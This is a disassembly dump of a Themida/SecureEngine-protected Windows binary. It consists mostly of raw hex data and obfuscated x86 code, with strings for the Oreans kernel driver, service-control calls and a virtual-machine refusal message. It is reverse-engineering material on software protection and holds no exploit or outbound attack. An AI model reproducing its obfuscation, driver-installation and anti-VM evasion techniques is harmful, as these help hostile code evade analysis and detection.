dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1A5985C6h
dd 68430614h, 0BC8E6EFCh, 1145B5FFh, 858D0614h, 6143B13h
dd 0B58DD0FFh, 61411A9h, 8068006Ah, 6A000000h, 6A006A02h
dd 6800h, 0FF56C000h, 0C6D88BD0h, 141A5985h, 56685706h
dd 0FFA69BEEh, 141145B5h, 13858D06h, 0FF06143Bh, 0C5BD8DD0h
dd 8D06141Ch, 16C0E38Dh, 57006A06h, 37D068h, 0FF535100h
dd 0FC085D0h, 1B85h, 0C5B58D00h, 8D0616BDh, 16A99A85h
dd 8DD0FF06h, 1470F08Dh, 0B806h, 0E1FF0000h, 1A5985C6h
dd 68430614h, 0C0764AA7h, 1145B5FFh, 858D0614h, 6143B13h
dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_574CBD
; ---------------------------------------------------------------------------
mov eax, ebx
loc_574CBD: ; CODE XREF: Themida_:00574CB6j
jmp loc_578492
; ---------------------------------------------------------------------------
dw 5A4Dh
db 90h
align 2
dw 3
dd 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 0
dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
dd 454C0000h, 0
dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
dd 2000000h, 1C00000h, 900000h, 0
dd 7E0000h, 0
dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
dd 12C0000h, 1380000h, 2 dup(0)
dd 1420000h, 1960000h, 1D20000h, 0
dd 1D20000h, 0
dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
dd 27C00400h, 0
dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h
dd 30001h, 2 dup(0)
dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h
dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
dd 360h dup(0)
dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h
dd 8 dup(0)
dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
dd 5273h, 736h dup(0)
db 0
byte_5779ED db 3 dup(0) ; DATA XREF: Themida_:0054BA68o
; Themida_:0054BD14o
dd 28Ch dup(0)
dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h
dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_578492: ; CODE XREF: Themida_:loc_574CBDj
jmp loc_57954E
; ---------------------------------------------------------------------------
db 41h
dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 4
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent db 'XprotEvent',0
align 4
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h
dword_5794A8 dd 94h, 5, 1, 0A28h, 2, 21h dup(0) ; DATA XREF: Themida_:00549210o
; Themida_:0054AC28o
dd 74666F53h, 65726177h, 6E69575Ch
db 65h, 0
; ---------------------------------------------------------------------------
loc_57954E: ; CODE XREF: Themida_:loc_578492j
mov eax, esp
jmp loc_57955D
; ---------------------------------------------------------------------------
db 5Bh, 92h, 63h
dd 707262E6h
; ---------------------------------------------------------------------------
push ecx
loc_57955D: ; CODE XREF: Themida_:00579550j
push ecx
mov ecx, 31450287h
pop ecx
mov [ebp+6142189h], eax
mov edi, [ebp+614226Dh]
mov eax, eax
sbb cl, 4Ah
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_579587
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5795A0
loc_579587: ; CODE XREF: Themida_:0057957Cj
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_5795A0: ; CODE XREF: Themida_:00579585j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5795C0
push eax
push ebx
mov eax, 43Dh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_5795C0: ; CODE XREF: Themida_:005795A7j
mov di, si
mov edx, [ebp+6140EF5h]
mov eax, eax
jmp loc_5795DB
; ---------------------------------------------------------------------------
mov esp, 11F3FB98h
and ds:0A076A1Eh, ecx
loc_5795DB: ; CODE XREF: Themida_:005795CBj
mov eax, eax
push 0
push ecx
call sub_5795E8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5795E8 proc near ; CODE XREF: Themida_:005795E0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5795E8 endp
; ---------------------------------------------------------------------------
dd 83CF8B7Fh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
dd 8B535013h, 0B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh, 1AE1BD83h
dd 74000614h, 0B8535011h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+616B48Dh]
call ebx
pop ebx
pop eax
push 0
push ebx
call sub_579645
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579645 proc near ; CODE XREF: Themida_:0057963Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_579645 endp
; ---------------------------------------------------------------------------
imul ecx, [ebx+14222595h], 33C08B06h
mov ebp, 6142039h
mov eax, eax
jmp loc_57967A
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
xor cl, ah
mov cl, 45h
or dword ptr [edi-7Fh], 39h
mov bh, 0CFh
retn
; ---------------------------------------------------------------------------
db 0F6h
db 0A4h, 0A1h
; ---------------------------------------------------------------------------
loc_57967A: ; CODE XREF: Themida_:00579666j
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57968C
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57969F
loc_57968C: ; CODE XREF: Themida_:00579681j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+616B50Eh]
call ebx
pop ebx
pop eax
loc_57969F: ; CODE XREF: Themida_:0057968Aj
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5796B9
push eax
push ebx
mov eax, 0
lea ebx, [ebp+616B45Bh]
call ebx
pop ebx
pop eax
loc_5796B9: ; CODE XREF: Themida_:005796A6j
jmp loc_5796CC
; ---------------------------------------------------------------------------
inc ecx
retf 0DB5Bh
; ---------------------------------------------------------------------------
dw 0EA5Bh
dd 6B026BE1h, 0D5DAF1B5h
; ---------------------------------------------------------------------------
loc_5796CC: ; CODE XREF: Themida_:loc_5796B9j
jge loc_5796D4
mov cl, 8Fh
loc_5796D4: ; CODE XREF: Themida_:loc_5796CCj
mov eax, eax
jmp loc_5796E1
; ---------------------------------------------------------------------------
db 0F2h
dd 9E04834Ch
; ---------------------------------------------------------------------------
xchg eax, ecx
loc_5796E1: ; CODE XREF: Themida_:005796D6j
mov eax, eax
mov edi, [ebp+6143165h]
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_5796FB
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57970E
loc_5796FB: ; CODE XREF: Themida_:005796F0j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+616B575h]
call ebx
pop ebx
pop eax
loc_57970E: ; CODE XREF: Themida_:005796F9j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_579728
push eax
push ebx
mov eax, 0
lea ebx, [ebp+616B474h]
call ebx
pop ebx
pop eax
loc_579728: ; CODE XREF: Themida_:00579715j
push 0
push esi
call sub_579733
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579733 proc near ; CODE XREF: Themida_:0057972Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_579733 endp
; ---------------------------------------------------------------------------
db 0C9h
dd 0A86AE916h, 9317482Fh, 18D8BA8h, 0E806140Bh, 0Ah, 6D70BE41h
dd 69220CDCh, 0B70F66ECh, 14E959CEh, 89000000h, 0FAC3B3F4h
dd 95EE7123h, 0CA6BE949h, 4F48F7ADh, 0FC93B7Ch, 68Ch, 0E5852900h
dd 8B061431h, 0ACBF66C0h, 53C08BB4h, 0BE8h, 5A575100h
dd 225A35CCh, 0A6EA0EB7h, 14A58D2Bh, 59590614h, 1058D8Bh
dd 0BD830614h, 61430B1h, 83097500h, 141AE1BDh, 13740006h
dd 0C08B5350h, 0B8h, 0A79D8D00h, 0FF0616B4h, 57585BD3h
dd 0B58D8951h, 5F06142Ah, 0D5BD8B59h, 8B061419h, 8B19B6C0h
dd 12840FC0h, 0E9000000h, 0Dh, 894D8B8Eh, 736DD12Ah, 2445480Dh
dd 0B1BD833Fh, 61430h, 0BD830975h, 6141AE1h, 50197400h
dd 0B8C08B53h, 7D0h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh
dd 1AE1BD83h, 74000614h, 0B8535017h, 7D0h, 1A498589h, 9D8D0614h
dd 616B429h, 585BD3FFh, 6EA171BFh, 51006A65h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 5D1912FEh
dd 0C08BFC05h, 0F236EFB9h, 5985C615h, 5306141Ah, 31ED958Bh
dd 90680614h, 6699395Fh, 0FFFD36B9h, 141145B5h, 418D8B06h
dd 8906140Bh, 142CF58Dh, 13858D06h, 0E806143Bh, 12h
dword_5798B0 dd 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h, 0EE926BFh
; DATA XREF: Themida_:0054AF30o
dd 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0D0FF5F8Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B7C35646h
dd 8589F565h, 6142361h, 6E960h, 0F440000h, 812F3720h, 8061D18Bh
dd 85C6E2C2h, 6141A59h, 52006A57h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 1AA202Ch, 6146023Ch, 8C5BD03h
dd 6680614h, 0E8900452h, 7, 0CF60E681h, 1BAD6D2h, 14098D85h
dd 958B5906h, 6143105h, 1145B5FFh, 8B660614h, 13858DCFh
dd 6A06143Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 78AC357h, 1BD6D5EAh, 0BF1FAABEh
dd 16B90DD5h, 8D89D0FFh, 6142351h, 52B4F181h, 858976ADh
dd 6142B19h, 2918D31h, 85C60614h, 6141A59h, 51006A43h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0D3BF0FC0h, 286865B6h, 33BC9070h, 141521BDh, 45B5FF06h
dd 6A061411h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 3494C350h, 0B588356Ah, 58EDA70h
dd 3B13858Dh, 0D0FF0614h, 0A15B50B9h, 0C781664Bh, 8589CCD4h
dd 6143075h, 1A5985C6h, 6A4C0614h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6226C355h
dd 419C6932h, 6852ADA7h, 0D9DA1CE9h, 727D81BFh, 45B5FF72h
dd 8B061411h, 142CA5BDh, 13858D06h, 6A06143Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0B86FC352h, 0E31C44C0h, 0E981A2BEh, 5E015329h, 2870Fh
dd 90B20000h, 8D23D0FFh, 614226Dh, 2F958589h, 958B0614h
dd 6142249h, 1A5985C6h, 68460614h, 0BADE0614h, 18F58D8Bh
dd 0B5FF0614h, 6141145h, 31D98589h, 858D0614h, 6143B13h
dd 0BFD0FFF5h, 61AEAEE4h, 8E9h, 4F285C00h, 1D74245Ch, 59858959h
dd 8906141Bh, 141FC9BDh, 5985C606h, 4706141Ah, 5E960h
dd 95AD0000h, 0B4592D16h, 0E26861EBh, 0E88A0FB5h, 0Eh
dd 0B0A188E1h, 8E10E6B1h, 64512523h, 0E980D063h, 0DE95FDDh
dd 0B1000000h, 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 1145B5FFh
dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 6C38BDC3h, 80F67A35h, 0F8B16AEEh, 3B13858Dh
dd 810F0614h, 6, 0ADD7D281h, 0D0FF6E99h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 19h, 58C35040h, 0D239A23Fh
dd 8B665310h, 0BF0F5FCEh, 458589C9h, 6006141Dh, 6149E480h
dd 1A5985C6h, 57470614h, 45E28166h, 0F3685F95h, 6A83D0B5h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 449AC353h, 0E346642Eh, 52586EA8h, 94D78166h
dd 3D85890Bh, 0FF061403h, 141145B5h, 0A5BD0906h, 8D061405h
dd 143B1385h, 0D4EA8106h, 0FF43B5FCh, 662EBAD0h, 85897027h
dd 6142F55h, 0E498D89h, 85C60614h, 6141A59h, 0E1816677h
dd 0A368F03Eh, 6AF397A8h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0BAFFC350h, 4EA70CCFh
dd 0FFB41DF1h, 140931B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0DE8306Bh
dd 4E000000h, 0D1FBDECh, 169AD9BCh, 0F7BC8304h, 16F58D8Bh
dd 8D590614h, 143B1385h, 9D8B6006h, 6140539h, 2BA9B589h
dd 0FF610614h, 559589D0h, 8906142Dh, 14150985h, 0DDB58906h
dd 0E8061408h, 12h, 119046D3h, 577A7C80h, 3AFA08BDh, 71673DCEh
dd 9589250Ah, 6142F6Dh, 5985C65Ah, 4706141Ah, 0FAF668F5h
dd 0FFF58728h, 141145B5h, 0EDBA6606h, 13858D79h, 6A06143Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 7E05C357h, 57657EF5h, 0FF244A0Eh, 5DBF66D0h
dd 8585893Dh, 6006140Ch, 0CE8h, 0B131F400h, 0D1DE7FB5h
dd 0AD4D6739h, 0BEBCBF30h, 665F6DDDh, 0C661D88Bh, 141A5985h
dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0FDCF11C3h, 6890FE9h, 29000000h, 1424298Dh
dd 0BD9D0906h, 68061406h, 0BC8E6EFCh, 1579A4B9h, 45B5FF5Fh
dd 80061411h, 858DFDF1h, 6143B13h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 93C35545h, 830F914Fh, 14h
dd 9E8h, 0D14FD300h, 4DE6C418h, 0DBBF8036h, 5F05F74Fh
dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 6E6199C3h, 9D899FD7h, 6140401h, 0DE9h, 96AF9F00h
dd 2E61D955h, 7AA76BFh, 8589A1CAh, 6140681h, 31359501h
dd 85C60614h, 6141A59h, 95896045h, 6142E89h, 35219D89h
dd 68610614h, 8E726969h, 0B5FFCB8Bh, 6141145h, 0BD235756h
dd 61405C9h, 858D595Ah, 6143B13h, 5E8h, 0B9301B00h, 8A6058E1h
dd 615857C6h, 8BD0FF5Ah, 142C6D95h, 0F9858906h, 0E906142Eh
dd 0Ch, 1481B0D1h, 0B1CC1692h, 855F1D4Ah, 1A5985C6h, 0F440614h
dd 68Fh, 3DBD8B00h, 2B06140Fh, 141CCDBDh, 0EC646806h, 0BF66B8F2h
dd 0B5FF4678h, 6141145h, 1385B589h, 0B5890614h, 6143215h
dd 3B13858Dh, 8D8B0614h, 6140091h, 0C981D0FFh, 5FC0613Fh
dd 0B618589h, 8C0F0614h, 6, 23D99509h, 85C60614h, 6141A59h
dd 4089B943h, 950B3AC7h, 6142409h, 764AA768h, 73BDBFC0h
dd 0B5FF4BF0h, 6141145h, 13858DF9h, 0FF06143Bh, 0BD8D89D0h
dd 89061423h, 14308185h, 7E806h, 7F70000h, 35504231h, 5F19B686h
dd 4A6BD80h, 0F000617h, 0C384h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 988A8D6Ah
dd 8DCC8F89h, 17048885h, 81666006h, 8AE288D2h, 895061FCh
dd 141155B5h, 8B016A06h, 1401CD8Dh, 0E8006A06h, 5, 7715870Dh
dd 0EE9F3h, 0D3CA0000h, 0E953F505h, 3895878Dh, 2F3FFB14h
dd 81006A5Ah, 0C9E5FEF1h, 7595FF78h, 0F061430h, 83h, 99858900h
dd 0F061402h, 82h, 0B6FF6A00h, 99B5FF27h, 3061402h, 140E258Dh
dd 55B50906h, 0FF061431h, 142B1995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 6061BA91h
dd 50CFBF0Fh, 615BA3B6h, 0BF66C08Bh, 0BD83F248h, 61430B1h
dd 83097500h, 141AE1BDh, 19740006h, 0C08B5350h, 7D1B8h
dd 49858900h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h
dd 6141Ah, 53501774h, 7D1B8h, 49858900h, 8D06141Ah, 16B4299Dh
dd 5BD3FF06h, 0DEDDB958h, 0BD8939C0h, 6142329h, 81666050h
dd 8964ADD1h, 140ED19Dh, 8B5A6106h, 61F860C0h, 1A5985C6h
dd 0B9470614h, 3ADDE948h, 0C8F7C168h, 0B5FFF593h, 6141145h
dd 3B13858Dh, 0E7810614h, 7C8AA225h, 0FE9h, 0D7260500h
dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh, 0BA50D0FFh, 17096002h
dd 8C9858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0F95632C3h
dd 0C73FB15Ah, 9400h, 0E88A5000h, 6A585Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9D635FC3h
dd 0C9B58DCFh, 89061708h, 141D718Dh, 6A5606h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 98A89DC3h
dd 0E772A317h, 0D0FF396Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 15C35747h, 717C0D5Fh, 0B967F5B1h, 56041AB7h
dd 25999529h, 858D0614h, 61708C9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0A1C35242h, 0D94C90EBh, 0D18166CAh
dd 0E281CF5Eh, 7448E8ABh, 0C2B4DDB9h, 478836Dh, 5B850F06h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0E848C350h, 93537775h, 14E8C4h
dd 3FBA0000h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh, 8F2495CBh
dd 840FDA31h, 6, 116DBD2Bh, 665F0614h, 85C7D08Bh, 617095Dh
dd 1, 23158D09h, 0BD830614h, 6142CBDh, 7A850F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0F02C351h, 0D1BD0160h, 2B061414h, 1402A595h
dd 0BD836106h, 617095Dh, 42850F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0A104C352h, 0C710D554h, 3DBD8347h, 61400h, 13840Fh
dd 0F6800000h, 9585C7B8h, 6142Bh, 29000000h, 1425B585h
dd 0DB8C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 21C35343h, 2179184Ch, 65310065h, 0C2C1B966h, 0F04C3F6h
dd 52D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 34BDABE3h, 35958960h, 8B06140Bh
dd 1423A1B5h, 0BD8B6106h, 6140629h, 12CD85C7h, 614h, 800F0000h
dd 19h, 14E9h, 80A85500h, 8CEAEC6Dh, 65564482h, 4A85DFFFh
dd 2607D6E9h, 0B3BD80C1h, 61704h, 6850Fh, 85890000h, 6141A25h
dd 1A5985C6h, 8B470614h, 1430E995h, 5B866806h, 5CBAE3E4h
dd 0FF0DE5ACh, 141145B5h, 1958B06h, 8D061409h, 143B1385h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 20CE2733h, 9D2C5FCh, 14149195h, 0EE906h
dd 0A120000h, 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 1BB9958Bh
dd 0D0FF0614h, 683CE280h, 104h, 9D8DF98Bh, 61411A9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 8EB1E864h
dd 414DD3F2h, 6E8h, 6EB5C600h, 896510E3h, 14147585h, 1535906h
dd 1413DD85h, 8BD0FF06h, 1424D9BDh, 0A9858D06h, 6A061411h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 6772C352h, 0F5B2883Ch, 0F280CB1Ah, 0A5958B4Ah
dd 5006142Fh, 0E473B966h, 465858Dh, 12E80617h, 0BC000000h
dd 86238199h, 57D9838Fh, 2D4DE792h, 9B1523FEh, 5FCE8A25h
dd 50D7B70Fh, 41958B52h, 5906141Bh, 0FB38858Dh, 0EA810616h
dd 2CFD229Eh, 3F57D181h, 89501F32h, 1415E985h, 995FF06h
dd 0E9061415h, 10h, 0D63B535Fh, 868F6331h, 0E1AB8733h
dd 42B7365Ah, 2B0CC483h, 1406658Dh, 68006A06h, 80h, 6A036Ah
dd 68006Ah, 8D800000h, 16FB3885h, 95FF5006h, 6140681h
dd 4488589h, 85C60617h, 6141A59h, 5E876847h, 0B5FFC7B1h
dd 6141145h, 3B13858Dh, 0D0FF0614h, 0B5FF006Ah, 6170448h
dd 0CA81D0FFh, 111EAAFh, 37D03Dh, 41830F00h, 8B000000h
dd 48B5FFD3h, 0F061704h, 8Eh, 8195FF00h, 60061430h, 23219589h
dd 0FE90614h, 0AE000000h, 0A1710C21h, 0E885F53Fh, 89A0BF08h
dd 8B610AE7h, 142B458Dh, 0AEE906h, 0BD8B0000h, 6140869h
dd 448B5FFh, 0B70F0617h, 8195FFFFh, 60061430h, 31D5BD8Bh
dd 81520614h, 7FE943CBh, 8B615B78h, 8B006AD6h, 140BB595h
dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 8380C350h, 0FA15158h, 68Eh, 0A5BD8B00h
dd 6A061414h, 0F88B6600h, 12E9006Ah, 0C1000000h, 8C602DA7h
dd 0C60CC030h, 0B735038Ah, 3F8BB0FBh, 8B006A3Fh, 142FB995h
dd 0F8006A06h, 44C858Dh, 81500617h, 31097AE7h, 8195FF55h
dd 2B061406h, 141CC195h, 0FFF88306h, 114850Fh, 8D090000h
dd 61414C9h, 0BFD8858Dh, 0EE90616h, 9E000000h, 0AE58CAACh
dd 16DAE867h, 6CE41A44h, 33D0FF41h, 142B9D95h, 0E8006A06h
dd 0Ah, 0CAD91C5h, 0B7A0AD3Dh, 870F437Ch, 17h, 12E9h, 0CB883B00h
dd 1D41B2DCh, 526A9B44h, 54A652B5h, 5FD355F0h, 6AF98Bh
dd 30E9B589h, 6A0614h, 0C51958Bh, 6A0614h, 1A25B589h, 6A0614h
dd 6840Fh, 0BD8B0000h, 6140271h, 289958Bh, 6A0614h, 91BF6653h
dd 0AE9596Fh, 0A3000000h, 3475AC8h, 5C020260h, 4C858DA9h
dd 0F061704h, 68Bh, 0DDBD8B00h, 50061410h, 0F119D89h, 95FF0614h
dd 6140681h, 23EDB589h, 0DF810614h, 7F80F064h, 0FFFF883h
